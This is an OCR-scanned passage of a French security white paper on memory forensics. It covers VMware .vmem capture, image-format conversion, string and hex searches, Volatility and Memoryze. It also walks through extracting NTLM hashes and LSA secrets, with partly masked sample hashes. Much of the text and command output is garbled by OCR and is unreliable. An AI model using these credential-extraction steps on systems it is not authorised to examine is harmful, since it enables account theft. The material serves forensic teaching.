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3.7. CAS D'UNE IMAGE VIRTUELLE

L'utilisation de systéme virtuel, tel que VMWARE, est de plus en plus courante en entreprise devenant
ainsi une cible de plus en plus convoitée par les pirates. Si le serveur accueillant les différents hétes

virtuels est compromis, il suffit alors a I'attaquant de récupérer les fichiers « .vmem » correspondant a
'image mémoire du systéme.

564d65f5-061d-a532-98f2-8ff427237 10c. vmem. Ick
Other Linux 2.6.x kernel.vmdk. ck
Other Linux 2.6.x kernel.vmx.lck
. 564d65f5-061d-a532- -Bff42728710c. vmem
|- other Linux 2.6.x kernel.mvram
& Other Linux 2.6.x kernel. vmdk
|- Other Linux 2.6.% kernel.vmed
@Oﬂﬁer Linux 2.6.x kernel, vmx
j Other Linux 2.6.x kernel. vmxf
Igj vmware.log

[féj vmware-0.log

Igj vmware-1.log

=| vmware-2.log

Méme si I'héte virtuel est démarré, il est possible d’accéder au fichier sans probleme en lecture pour le
copier. |l suffit alors par la suite de I'analyser via les outils appropriés présentés dans ce papier.

Matthieu Suiche a développé un programme permettant de convertir un fichier « .vmem » en format
analysable par le debugger Windows « Windbg ». Cet outil, « bin2dmp », est téléchargeable sur le site
suivant :|http://www.moonsols.com/component/idownloads/finish/3/2/0

D’autre part, si aucun accés logique n’est possible a la machine mére contrairement a un acceés

physique alors il est envisageable d’arréter brutalement celle-ci et de démonter son disque dur pour y
récupérer les fichiers « .vmem » depuis une autre machine.
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4. NNNLYSE DE LN MmeEMOIRE RN\

Cette partie recense les outils me paraissant indispensable pour réaliser une analyse et une
manipulation d’'une image mémoire.

4.1. CONVERSION DES FORMATS D'IN\AGES RA

4.1.1. CONVERSION D’UN FICHIER « CRASHDUMP » €N INAGE MMEMOIRE
BRUTE

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de mémoire brute (RAW), il
peut parfois étre utile de convertir une image générée par un CrashDump dans ce format. Volatility
permet de réaliser cette tache via la commande suivante :

python Volatility dmp2raw -f <chemin d’acces au fichier CrashDump> -o <chemin d'acces au
fichier converti en RAW>

Un des outils développés par Matthieu Suiche permet également de réaliser cette fonction : « dmp2bin ».
Il est disponible a I'adresse suivante :|http://www.moonsols.com/component/i{downloads/finish/3/2/0

La syntaxe d’utilisation de 'outil est la suivante :

dmp2bin <chemin d’acceés au fichier CrashDump> <chemin d'acceés au fichier converti en RAW>

4.1.2. CONVERSION D’UN FICHIER D’HIBERNATION « HIBERFIL.SYS » EN IN\AGE
MEMOIRE BRUTE

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de mémoire brute (RAW), il
peut parfois étre utile de convertir un fichier d'hibernation dans ce format.

Un des outils développés par Matthieu Suiche permet de réaliser cette fonction : « hibr2bin ». Il est
disponible a I'adresse suivante :|http://www.moonsols.com/component/jdownloads/finish/3/2/0

La syntaxe d’utilisation de l'outil est la suivante :

hibr2bin.exe <chemin d’accés au fichier d’hibernation> <chemin d'accés au fichier converti en

RAW>
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4.1.3. CONVERSION D'UNE IMAGE MEMOIRE BRUTE EN  FICHIER
« CRASHDUM\P »

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de type « CrashDump », il
peut parfois étre utile de convertir un fichier d'image brute dans ce format (ex : analyse d’une image
mémoire Vmware via Windbg).

Un des outils développés par Matthieu Suiche permet de réaliser cette fonction : « bin2dmp ». Il est
disponible a I'adresse suivante :|http://www.moonsols.com/component/idownloads/finish/3/2/0

La syntaxe d’utilisation de I'outil est la suivante :

bin2dmp.exe <chemin d'acces au fichier converti en RAW> <chemin d’acces au fichier CrashDump>

4.1.4. CONVERSION D’UN FICHIER D’HIBERNATION « HIBERFIL.SYS » EN FICHIER
« CRASHDUMN\P »

Certains logiciels d'exploitation de la RAM nécessitant en entrée une image de type « CrashDump », il
peut parfois étre utile de convertir un fichier d’hibernation dans ce format. (ex: analyse d'un fichier
d’hibernation via Windbg).

Un des outils développés par Matthieu Suiche permet de réaliser cette fonction : « hibr2dmp ». Il est
disponible a 'adresse suivante :|http://www.moonsols.com/component/[downloads/finish/3/2/0

La syntaxe d'utilisation de I'outil est la suivante :

hibr2dmp.exe <chemin d’acces au fichier d’hibernation> <chemin d’acceés au fichier CrashDump>
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3U SECURITE,

4.2. EXTRACTION DES CHAINES DE CARACTERES

La commande « strings », nativement présente nativement sous Unix, peut étre utilisée pour trouver
rapidement des chaines de caractéres comme des mots de passe ou des informations sensibles.

root@SudOman-Laptop:/ strings dump-ram-coldboot.dmp | grep -i pass
PASSO1

Password98

L'outil « bintext » de Foundstone, fonctionnant sous Windows, permet d'extraire les chaines de
caractéres depuis n'importe quel type de fichier (.exe par exemple). Il permet d’ouvrir des fichiers
d'image générée par les méthodes présentées précédemment et de rechercher rapidement des chaines
de caractéres.

-ioix

Search | Fiter | Help |

File ta scan  |AMSdump rambgenerate FAM wintusersdd. exstimage.dd  Browse

¥ Advanced wview Time taken : 132047 sece  Test size: 67824438 bytes [B6234. 80K

8] | Text ;I
[} =
Kt+Ku
0543
[{li=H
IThiz program cannot be run in DOS mode.

File pos | Mem pos |
A 00000000 00000000 O
A 00000042 00000042 0
A 00000040 00000040 0
A 00000053 00000053 0
A 000000ED  0O0000ED O
A 00000098 OO0OO0SE O text
A 00000041 000000&1 O h.rdata
1]
a
a
a
a
a

A 00000043 00000043 HPAGE
A (00000BO  0O0OOOEO .edata

A (00000BY  0O0OOOBE? @INIT

A (00000BD  0OOOOOED TEG

A 000000C3  000000C3 B.reloc
A 00000002 00000002

~DigY _I;I
4 I I »
it
1Hlni: 0 ‘HI ﬁsrc: 0 “CT}'DLC Find | Save |

i
Ready || ANSE 40d631¢|

CONNECTING BUSINESS & TECHNOLOGY

Version 1.2 16/12/10 [BU Sécurité - DEVOTEAM] | Ce document a un but purement pédagogique et ne doit pas étre utilisé a des fins Page 28 / 72
malveillantes



DEyoteam

4.3.

H@CKRAW

JAI LA MEMOIRE QUI FLANCHE ...

MANIPULATION DES IMAGES RAM EN HEXADECINAL

Parfois, il peut étre nécessaire de traiter directement le fichier d'image brute sans avoir au préalable
extrait les chaines de caractéres afin de rechercher par exemple des mots de passe codés en
hexadécimal.

Sous Windows,

tache tout comme « Hexedit » sous Linux.

« HexDump » [http://www.richpasco.org/utilities/hexdump.zip] permet de réaliser cette

Les deux logiciels mettent en forme le fichier d'image en indiquant d’'une part les adresses mémoire et
d’autre part les données en hexadécimal ainsi qu’en ASCII.

WO00ZEE- 01
W00ZEF- 36

W000Z2F0- 43
W0002F1L- 38
W0002F2- 43
WIOO02F3- 42
W0002F4- F8
WIOD02FS - E4
W0002Fe- 02
WIOOO0ZFT- 0l
HO002FB-
WO002FI-
WIOO02ZFA- 7
WO002ZFBE- 65
WIOO02FC- 32
W0002ZFD- F8
WIOO0ZFE- F8
W000ZFF- 4E

WO00300- 8C
000301~ 80
000302~ 00
WIO0303- C8
000304~ FC
000305 - 00
000306 D4
W000307- 18

Jhexdump=cat

61
04
61
6E

65 BE
00 00
69 BE
o0 00
69 BE
6B 70

exdump=cat

72
d L

0038856- 04
00040FBA- 7
004 98EA-
000498FE-
00049915 7

65 BE
]
6F 72
6F

dump.
65
00
74
i}
74
Bl
69

|

65
00
64
69

T B

dump.

| grep
6C 00
02 00

70

| grep
BC 00
2 00
F8

3 5C
2E

2E

1GNP T b

[y I st I i Mt B et |

o0

rivate.h
erPriv

[wordpad. exe. .

]
|
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Par contre, I'édition n’est pas possible sous Windows via HexDump et on préférera donc HexCmp
[http://www.fairdell.com] ou WinHex [http://www.x-ways.net/winhex/index-f.html] pour réaliser ces taches.

[ Fairdell HexCmp2

“ File Edit Search Yiew Actions Options Help Left 15 Days! Register Mow!

[ oM@ ofc|e|onm||we2n|waenyy=zm=a=a3]e
Firgt File - J:VARCHIVE \forensicARAM\sample RAMASP2\hiberhil sys

-HEX 0=FFE0000 OFFSET | 00 01 02 03 04 05 06 07 08 09 0& OB 0C 0D OE OF

-DECIMAL | 267964416 P
01342060  F8 10 80 90 BO 01 8B 62 C4 00 20 4D FC FO 05 EB | e.01° . Ibi, Hi&. &

~HEY [l 342052 01342070 CD 80 FF FF C9 C2 1C 00 32 CO EE ED 58 05 6E 05 | IivvEL. 2A8iX . n.

TDECIMAL 2050322 01342080 28 56 57 78 17 8D 45 F0 18 19 21 03 33 FF 57 60 | (Viz. IEZ. . 1.3yW"

_ 01342090 00 &9 00 40 08 20 45 EO0 30 00 D8 50 BE 00 00 10 | .1.@. Eal.@P%,

& - 01342040 00 56 8D BO 2& ©7 45 DE 18 40 07 89 70 DC 89 7D .VI° *cE:a @1

- Lharacter I 013A2DB0 E4 89 7D E8 89 7D EC FF 15 00 231 00 41 88 30 03 al}el J1.A10.

- Bit-Get 10010000 01342DC0O | 3B C? 7D 21 3D €8 00 40 74 07 3D 35 00 00 €O 75 | ;CHl= Yoot i

- Byte [HE=] | 0x30 01342000 OF C1 01 94 01 FF 15 BC 02 01 7C 45 64 FF 68 80 A, 1.%.1..|Ejv¥hi

-Byte [DEC) 144 013A2DE0 | 69 &7 00 C1 22 45 FF 50 03 0OC EB 24 48 04 89 01  ig. A"EyP. .&1H. 1.

“wiord [HEX] | 029030 01342DF0 | OC FB 50 78 OO0 08 89 55 20 1C 90 38 01 58 00 8B | .ePx..1U .18.X.1

“wiord [DEC] [ -28528 013A2E00  FO FF 15 F8 S0 00 3B F7 OF 8C 53 70 00 00 81 00 | &y.eP..<.I1Sp..1.

- D'wiord [HEX) | 0x1E09030 01342E10 | CO 11 81 FE 02 DO 09 OF 84 4F 58 00 29 0OC 59 4E | A.1b.D. . 10X.}.¥N

“Diw/ord [DEC] | 28348560 013A2E20 C7 85 18 FA FF FF 38 D2 (S5 77 89 9D FC F9 49 1B <I. u'si*;iBOxSwllqu
013A2E30 18 1C OF 82 4B 38 A8 08 01 0% 04 01 03 3B C2 OF MERT L b

013A2E40 85 93 3B 80 26 7B 14 899 BD CO E0 00 84 47 01 338 II 16, %43 1G. 1
013A2ES0 | 85 EC 40 00 Ce 47 01 00 8D 43 0C 89 8% 43 EO0 01 | 1i®@. &, . 1C.11Ha.
013AZ2Ee0 10 AOD 04 88 68 2C 89 85 8C A8 00 66 3D 00 02 OF @ . .Ih,lll”.f=.._
013AZ2E70 87 EC 45 60 47 81 3F 51 00 E1 50 00 8E 43 08 3B I1E G . aF . 1c.

013A2EB0 Ce 0OF 84 59 39 02 4B 04 89 8D 88 80 14 40 44 88 179 K. IIII @DI
013A2E90 01 66 8B 09 66 3B CE OF 84 SB A0 00 2B 58 32 85 .fl.f
013A2EA0 94 E8 01 3B 45 18 0OF 83 D2 37 00 05 B7? DL 03 283 | 1&.

Crram—| TR ' o de hibeii
-HEX 0FFB0000 OFFSET 0o 01 02 03 04 05 0 OF 08 09 04 OB OC OD OE OF

- DECIMAL 267364416

D1342D60  F2 10 ¥5 11 BO 01 8B 62 C4 00 20 4D FC FO 05 ES Ibi . Hiis &
HEY D] 8ODED 01342D70 CD 80 FF FF C9 C2 1C 00 32 CO EE ED 58 05 &E O IwaA 2481E n.
DEOMEL TaEaes D1342D80 28 G G7 78 17 8D 45 FO 18 19 81 03 33 FF &7 60 | (Vilz IES. . I.3%0°
_ 01342090 | 0D 89 D0 40 08 20 45 E0 30 00 D8 50 BE 00 00 10 | .1.@. Ea0 @P%.. .
rerr— D1342DA0 00 G6 2D B0 2A4 C7 45 DB 18 40 07 89 7D DC 89 70 | VI *=cE@.@. 1)01}

. 01342DB0 E4 29 7D Ef 89 7D EC FF 15 00 21 00 41 88 30 02 | S13&l]iv..1.410.
'E'tée:_lEx gl;;mm 013A420C0 | 3B C7 7D 21 3D C8 00 40 74 07 3D 35 00 00 €O 75 | ,CHI=E.@t.-5. . Au

4 winHex - [hiberfil.sys]
HEX File Edit Search Position Wiew Tools Specislist Options  Window Help

FLEHE ~cBRARD MLYE -Res O emEO  Sd4drHE | @

[unregisterad] hiteeril sps I

hiberfil. sys _ Of f=et 01 2 3 45 & 7 & 9 ABCTDEF
JAARCHIVE orensic\ Rk sample BE T o ooy pn [ 67 65 73 A 01 53 00 08 F8 00 64 73 65 BA 05 50| ge=j 5. @ d=e? P
Flo e sepyg| UUESZIFD |00 02 00 BO BC 35 7A 08 76 6B 06 00 04 SE 01 2E .. *MSz.vk..."..
' 267964 416 byles | 10652200 03 00 00 B0 CD 02 00 39 D00 38 02 74 61 38 03 50 ...14..9.9.ta8 F
00652210 |90 26 7& 01 39 C1 38 SE 1F 00 7B 96 38 B7 BB 03| 1&z. 948", . {18-».
P 00652220 |12 39 01 80 50 01 3% 00 78 01 D8 02 69 80 93 03| .9.0P.9. =.@. il1.
Chate: oiginal| 00652230 | 20 73 61 20 DE 64 6F 6D 61 69 6E 63 72 65 64 73| sa Pdomaincreds
00652240 | &0 00 00 O0 7B 0A OA OO0 38 01 80 0L 78 OO0 38 00| ...{.. . B.1.x.8.
Unida level. U pogszzso |78 01 06 00 66 6F 72 63 65 00 40 OB 00 67 75 65| =...force.@. .gue
Undo reverses: n'a| nogS2260 |73 74 07 00 88 C7 07 00 CB 3A 01 19 F9 00 BF 02 | st. . 1c. E:..0.é
o 00652270 |33 65 ES DS 79 6F 6E 65 69 6E 63 6C 75 64 65 73| 3ealyoneincludes
Do ar SUADZN03|  ppecoogn |61 6E 06 0% 30 03 6F 6E 79 6D &F 75 F4 02 3C 08 | an. . 0.ocnymoud. <.
T345 ) neeopan |12 00 78 01 EF 01 66 69 70 73 61 6C 67 6F 58 08| . m.¢.fipsalgaX.
Last write tirme: 28/04/2003 | 00652240 |68 6D 70 6F 6C 69 63 79 A8 00 7D 01 15 DE 00 00| hmpolicy .3}..B..
094856 | 006522B0 |60 00 38 01 7F 04 13 6C 69 6D 69 74 62 6C 61 6E| °.8.1.. linithlan
PR cys| D06522C0 | 6B 70 61 73 73 77 6F 72 64 75 73 65 BS 04 7D 01 | kpassworduss, .}.
leons g| 008s2eDD |01 ¥8 01 50 01 1A OC 58 00 00 80 19 00 04 66 75| .x.P...X..1...fu
006522E0 | 6C 6C 70 D8 D& 69 6C 65 67 65 61 75 64 69 74 69| 1lp@lilegeauditi
\Window B 1| DOES22F0 | 6E €7 BE 00 7B 01 13 00 B& 02 FF 02 00 00 6E 6F | ng,.{...,.¥...no
Mo, of windaws: 1| 00652300 |64 65 66 78 22 02 00 61 75 6C 74 61 64 6D 69 6E| defx". . aultadmin
00652310 |&F 77 6E 65 72 A8 00 00 00 08 18 00 D8 585 1F BC | owner ... ... @L .M

La version de démonstration de WinHex est limitée a la lecture des fichiers de 200Ko.

WinHex permet également de travailler directement sur la RAM de la machine sur laquelle est lancé le
logiciel et cette fonction peut s’avérer intéressante dans le cadre d’'une recherche dinformations
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Edit Main Memory x|

G
)33 Spstemn 4
1693 Smes HEE4
€43 Carss #744
+-§33 Winlogon #768
H-493 Services #812
/433 Lsass HB24
H-493 Svchost #1000
H-443 Svchost #1176
H-433 Svchost #1212
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4.4. NNALYSE DE UETAT DU SYSTENME

Ce paragraphe traite des différents outils disponibles permettant la lecture des informations systémes et
ciblées stockées dans une image mémoire RAM.

4.4.1. VOLATILITY

« Volatility » est une suite d’outils gratuits développés en Python et permettant d’effectuer de
nombreuses opérations sur les images de mémoire RAM.

L’outil est disponible sur le site suivant :|https://www.volatiIesvstems.com/default/ Volatilitvlet comporte les
options suivantes :

TCULAR PURPOSE.
usage: volatility omd [ocmd_opts]

Run command cmd with options omd_opts
For help on a specific command, rum "volatility ond —--help’

Supported Internel Commands:
connections F‘r‘1nt Tist of open connections
connscan connection objects
connscan2 connection objects (New)
datetime Get date/time information image
d11T4ist Print Tis T Toaded d11s each process
dmp2raw Convert a *ath dump to a raw dump
dmpchk Dump crash dump 1nformation
files Print Tist of open files for each process
hibinfo Convert hibernation file to linear raw image
ident Identify image properties
memdmp Dump the addr able memory for a process
memmap F‘r‘1nt the mem map
modscan modules
modscan? module objects (New)
modules F‘r‘mt Tist of loaded modules
procdump Dump a_ process to an cutable sample
pslist F‘r‘1nt Tist of runmnu processes
psscan bjects
psscan? proces bjects (New)
raw2dmp onvert a raw dump to a crash dump
Print Tist o = Tor each process

strings
take a while, VERY verbose)
thrd=can 5 ETHREAD
thrdscanz 5 thread «
vaddump the Vad sections to files
vadinfo the VAD info
vadwalk c the vad tree

Supported Plugin Commands:
cachedump Dump (decrypted) domain hashes from the registry

hashdump Dump (decrypted) LM and NT hashes from the regis

hivelist F‘r‘1nt Tist of r
hivescan fo
1sadump ( ¥ LSA secrets from the registry
x_32 Print the mem map
Print a registry key, and its subkeys and values

Print 1ist running processes
Print Tist runmning pr es
usrdmp_ 7 Dump the address space for a process
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Ci-dessous quelques exemples de données extraites par Volatility.

Liste des processus actifs [pslist]

Name Pid PPid Thds Hnds Time

System 4 0 57 244 Thu Jan 01 00:00:00 1970
Smss.exe 532 4 3 20 Wed Mar 04 15:16:24 2009
csrss.exe 596 532 9 364 Wed Mar 04 15:16:26 2009
winlogon.exe 620 532 24 462 Wed Mar 04 15:16:45 2009
services.exe 664 620 15 259 Wed Mar 04 15:16:45 2009
lsass.exe 676 620 23 331 Wed Mar 04 15:16:45 2009
vmacthlp.exe 832 664 1 25 Wed Mar 04 15:16:46 2009
svchost.exe 848 664 20 202 Wed Mar 04 15:16:46 2009
svchost.exe 916 664 9 239 Wed Mar 04 15:16:46 2009
svchost.exe 1012 664 75 1085 Wed Mar 04 15:16:46 2009
svchost.exe 1052 664 7 76 Wed Mar 04 15:16:46 2009
svchost.exe 1108 664 15 200 Wed Mar 04 15:16:48 2009
explorer.exe 1460 1416 14 322 Wed Mar 04 15:16:50 2009
spoolsv.exe 1516 664 14 122 Wed Mar 04 15:16:50 2009
VMwareTray.exe 1692 1460 1 35 Wed Mar 04 15:16:51 2009
VMwareUser.exe 1700 1460 5 110 Wed Mar 04 15:16:51 2009

Objets de la base de registre utilisés selon les processus actifs [regobjkeys]

Pid: 1516

\REGISTRY\MACHINE

\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DRIVERS32
\REGISTRY\MACHINE\SOFTWARE\CLASSES

\REGISTRY\USER

\REGISTRY\MACHINE\SYSTEM\CONTROLSETO001\CONTROL\PRINT
\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PRINT\PRINTERS
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\PRINT\MONITORS\STANDARD TCP/IP PORT
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\ PARAMETERS\ PROTOCOL CATALOGY
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE CATALOG5
\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\PRINT\MONITORS\THINPRINT PRINT PORT MONITOR FOR VMWARE
\REGISTRY\MACHINE\SYSTEM\CONTROLSETO001\HARDWARE PROFILES\0001

Sockets ouvertes selon les processus actifs [sockets]

Pid Port Proto Create Time

4 138 17 Wed Mar 04 15:16:53 2009
676 500 17 Wed Mar 04 15:17:09 2009
1012 123 17 Wed Mar 04 15:17:23 2009
4 445 6 Wed Mar 04 15:16:21 2009
916 135 6 Wed Mar 04 15:16:46 2009
1332 1029 6 Wed Mar 04 15:17:18 2009
1012 123 17 Wed Mar 04 15:17:23 2009
676 0 255 Wed Mar 04 15:17:09 2009
1108 1900 17 Wed Mar 04 15:17:18 2009
1052 1025 17 Wed Mar 04 15:17:16 2009
4 139 6 Wed Mar 04 15:16:53 2009
4 137 17 Wed Mar 04 15:16:53 2009
1108 1900 17 Wed Mar 04 15:17:18 2009
676 4500 17 Wed Mar 04 15:17:09 2009
4 445 17 Wed Mar 04 15:16:21 2009
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Fichiers utilisés selon les processus actifs [files]

Pid: 4

File

File

File \test

File

File \

File \Documents
File \Documents
File \Documents

File \Documents

File \Topology

File \Documents and Settings\NetworkService\ntuser.dat.LOG
File \Documents and Settings\NetworkService\NTUSER.DAT

\Documents and Settings\NetworkService\Local
Data\Microsoft\Windows\UsrClass.dat

\Documents and Settings\NetworkService\Local
Data\Microsoft\Windows\UsrClass.dat.LOG

File \WINDOWS\system32\config\SECURITY
File \WINDOWS\system32\config\SECURITY.LOG
File \WINDOWS\system32\config\software
File \WINDOWS\system32\config\software.LOG
File \WINDOWS\system32\config\system

File \WINDOWS\system32\config\system.LOG
File \WINDOWS\system32\config\default

File \WINDOWS\system32\config\default.LOG
File \hiberfil.sys
File \WINDOWS\system32\config\SAM
File \WINDOWS\system32\config\SAM. LOG
File \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
File \Documents and Settings\LocalService\NTUSER.DAT
File \Documents and Settings\LocalService\ntuser.dat.LOG

\Documents and Settings\LocalService\Local
Data\Microsoft\Windows\UsrClass.dat.LOG

and Settings\Demo\ntuser.dat.LOG
and Settings\Demo\NTUSER.DAT

Settings\Application

Settings\Application

Settings\Application

and Settings\Demo\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
and Settings\Demo\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat.LOG

Librairies DLL utilisées selon les processus actifs [dlllist]

TrueCrypt.exe pid: 1660
Command line "C:\Program Files\TrueCrypt\TrueCrypt.exe"
Service Pack 2
Base Size Path
0x400000 0x128000 C:\Program Files\TrueCrypt\TrueCrypt.exe
0x7c910000 0xb7000 C:\WINDOWS\system32\ntdll.dll
0x7c800000 0x105000 C:\WINDOWS\system32\kernel32.d1l1l
0x58b50000 0x9a000 C:\WINDOWS\system32\COMCTL32.d11l
0x77da0000 0xac000 C:\WINDOWS\system32\ADVAPI32.d1l1l
0x77e50000 0x92000 C: \WINDOWS\system32\RPCRT4.d1l1l
0x77£c0000 0x11000 C:\WINDOWS\system32\Secur32.dll
0x77e£0000 0x47000 C:\WINDOWS\system32\GDI32.d1l1l
0x7e390000 0x90000 C:\WINDOWS\system32\USER32.d11l
0x778e0000 0x£8000 C: \WINDOWS\system32\SETUPAPI.d1l1l
0x770e0000 0x58000 C:\WINDOWS\system32\msvcrt.dll
0x76340000 0x4a000 C:\WINDOWS\system32\COMDLG32.d11l
0x77£40000 0x76000 C:\WINDOWS\system32\SHLWAPI.d1l1l
Tentative de reconstitution des processus actifs [procdump]
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Dumping smss.exe, pid: 532 output: executable.532.exe

Memory Not Accessible: Virtual Address: 0x4858b000 File Offset: 0xb000 Size: 0x1000
Memory Not Accessible: Virtual Address: 0x4858d000 File Offset: 0xd000 Size: 0x1000
Memory Not Accessible: Virtual Address: 0x4858e000 File Offset: 0xe000 Size: 0x1000

4.4.2. MEMORIZE

Memoryze, tout comme Volatility est une suite d’outils permettant I'exploitation d'image de mémoire RAM
exploitable via une série de batch (.bat).

Outre les fonctionnalités classiques telles que le listing des processus actifs, des dll utilisées et des
sockets ouverts, Memoryze posséde les fonctionnalités intéressantes suivantes :

Création d’'une image mémoire

Création d’'une image mémoire spécifique a un pilote
Identification des « hooks » souvent utilisés par les rootkits
Génération de rapport XML importable sous Excel

Memoryze est donc un outil pouvant étre utilisé en complément avec Volatility et pouvant étre téléchargé
a 'adresse suivante :|http://www.mandiant.com/products/free software/memoryze/

4.4.3. N\UTRES OUTILS

D’autres outils réputés et destinés a I'analyse de la mémoire existent et sont disponibles sur Internet :

MemParser (fusion de PTfinder et memdump)[|http://sourceforge.net/projects/memparser

WMFT [http://forensic.seccure.net/tools/wmft 0.2.zip]

Windbg [site de Microsoft]

PTFinder (permet la génération de la map mémoire avec les PID et offset en .dot et donc

visualisable par kgraphviewer) [http://computer.forensikblog.de/files/ptfinder/ptfinder-collection-

current.zip|
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eh————1 : | 200904-20
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1 4 running
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568 w20 | 1772 ! 1764 1780 \ 1788 284
| | | | ! | ! |
file ofs file ofs file ofs | file ofs file ofs | file ofs file ofs
0x1064 260 0x1080740 0x5431460 0x5 431880 oxelid="pid284' M
smss exe taskmgrexe VMwareUser.exe  VMwareTray.exe am|label="'{284 | file ofs
| " |ox5dfd7e0 | cmd.exe | started|
ismescs | | embaice oo oy 2009 2009-04-20
. . H .
11:56:25 115716 11:56:36 115636 11411:57:11 | running}

Le site suivant propose des outils orientés recherche des processus cachés au sein de la mémoire :
http://forensic.seccure.net/
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Cette partie présente un échantillon des informations sensibles qu'il est possible d’extraire depuis une
image mémoire.

5.1. MOTS DE& PASSE 3I0S

Depuis une image générée via le port Firewire, il est possible d’en extraire le mot de passe BIOS
pouvant étre configuré au démarrage d’un PC.

Ci —dessous, un exemple d’écran d’authentification :

Le script « Bioskbsnarf.py » Ihttp://www.storm.net.nz/static/files/bioskbsnard permet de réaliser
précisément cette tache.

5.2. HASHS L/ & NTL/ W

En possession d’une image de la mémoire RAM, il est possible de récupérer les hashs LM et NTLM
contenus dans la base SAM et disponible via les fichiers SYSTEM et SAM
(« C :\WINDOWS\system32\config\ »).

L'outil Volatility permet de réaliser cette tache via une série de trois commandes décrites ci-dessous. Les
librairies de cryptographie pour python doivent étre installées pour pouvoir utiliser ces fonctions
d’extraction [http://www.amk.ca/python/code/crypto.html]. D’autre part, des libraires supplémentaires
spécifiques a Volatility et aux fonctions présentées ci-dessous doivent étre copiées dans le répertoire
principal de l'outil. Ces libraires sont disponibles a partr du lien suivant:
http://www.cc.gatech.edu/%7Ebrendan/volatility/dl/volreg-0.6.tar.gz].
. 1

"python volatility hivescan -f <chemin d’accés au fichier RAM> "

$ python volatility hivescan -f H:\DUMP-TEST\dump ram user.dmp
Offset (hex)

124365664 0x769ab60
125087752 0x774b008
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"python Volatility hivelist -f <chemin d’accés au fichier RAM> -o <premier offset de la commande hivescan> "

$ python Volatility hivelist -f H:\DUMP-TEST\dump ram user.dmp -o 0x769ab60
Address Name

0xe1038008 \WINDOWS\system32\config\system

0xel02£008 [no name]

0xe31£f5b60 \Documents and Settings\amalard\Local Settings\Application Data\Mic
rosoft\Windows\UsrClass.dat

0xe3170b60 \Documents and Settings\amalard\NTUSER.DAT

0xe2d77570 \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat

0xe2df7b60 \Documents and Settings\LocalService\NTUSER.DAT

0xe2d9%a7b0 \Documents and Settings\NetworkService\Local Settings\Application D
ata\Microsoft\Windows\UsrClass.dat

0xe2d7d008 \Documents and Settings\NetworkService\NTUSER.DAT

Oxelf45a00 \WINDOWS\system32\config\software

Oxelee0380 \WINDOWS\system32\config\default

O0xelff9758 \WINDOWS\system32\config\security

EEPEEEEE $\vINDOWS\system32\config\sam
Oxelb58b60 [no name]

L'option « hashdump » permet 'affichage des hashs LM et NTLM :

"$ python volatility hashdump -f <chemin d’accés au fichier RAM> -y <offset system> -s <offset sam> "

$ python Volatility hasdump -f H:\DUMP-TEST\dump ram user.dmp -y 0xel038008 -s _
SysAdmin:500:8a21969a3f6XXXXf50419e5936a8b420:948fc9bd8dcel60XXXXeldada02£082a:::
SUPPORT_388945a0:1002:aad3b435b51404eXXXX3b435b51404ee:1b1832823aaXXXX8a63aaf5c28£711d5:::
ASPNET:1020:95cb3b8f8b611XXXX4£f407098dd4b474:08105e4e01d81cd0XXXXb6454019d2£6: ::
HelpAssistant:1037:50d503XXXX471£76309c4047a6e92798:bed2677£66cllcXXXX956e9dc2ab0362:::
amalard:1038:8a21969a3£68cXXXX0419e5936a8b420:948fc9bd8dcel609XXXX14a4a02f082az:::

IUSR DLLEAMALARD:1064:7064el6XXXX98447f4e56c7b081084aa:3a13467d49XXXX2e65482b2bd2c74497: ::
IWAM DLLEAMALARD:1065:013645XXXX0644deaal?29141bce08061:59fc3c0c8cdXXXX583f37cf40ea8b239:::
~ vmware user :1068:aad3b435XXXX04eeaad3b435b51404ee:ebab8ac4aab0XXXX651a08854cc7e719:::

Attention, cette technique ne fonctionne actuellement que sous Windows XP SP2 & SP3 et non sous
Windows Vista et 2003.

Nota : Un léger bug a éte découvert dans le script « hashdump.py »
(Volatility/Forensic/Win32/hashdump.py) et empéche I'affichage des hashs extraits a cause de certains
caractéeres ne supportant pas I'encodage en hexadécimal. Il suffit d’ajouter les balises try et except pour
ignorer les erreurs et permettre 'exécution du script :

for user in get user keys(samaddr, profile):
lmhash,nthash = get user hashes (user, hbootkey)
if not lmhash: lmhash = empty lm
if not nthash: nthash = empty nt
try:

print "%s:%d:%s:%s:::" % (get_user name (user), int (user.Name,b16) , lmhash.encode('hex') ,
nthash.encode ('hex'))

except:
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| pass I

5.3. SECRETS LSA

Depuis I'extraction de la RAM, il est possible de récupérer les secrets LSA via les fichiers systémes
SYSTEM et SECURITY (« C:\WINDOWS\system32\config\ »).

L'outil Volatility permet encore une fois de réaliser cette tache et la série de commande est équivalente a
celle lancée pour extraire la base SAM mis a part que les offset a récupérer sont ceux correspondant aux
fichiers SYSTEM ET SECURITY.

$ python volatility hivelist -f H:\DUMP-TEST\dump ram user.dmp -o 0x769ab60

Address Name
0xe1038008 \WINDOWS\system32\config\system
0xel02£008 [no name]

0xe31£f5b60 \Documents and Settings\amalard\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat

0xe3170b60 \Documents and Settings\amalard\NTUSER.DAT

0xe2d77570 \Documents and Settings\LocalService\Local Settings\Application Dat
a\Microsoft\Windows\UsrClass.dat

0xe2df7b60 \Documents and Settings\LocalService\NTUSER.DAT

0xe2d9a7b0 \Documents and Settings\NetworkService\Local Settings\Application D
ata\Microsoft\Windows\UsrClass.dat

0xe2d7d008 \Documents and Settings\NetworkService\NTUSER.DAT

Oxelf45a00 \WINDOWS\system32\config\software

Oxelee0380 \WINDOWS\system32\config\default

0xelf£9758 \WINDOWS\system32\config\security

0xel1018b60 \WINDOWS\system32\config\sam

0xelb58b60 [no name]

L'option « Isadump » permet I'affichage des secrets LSA:

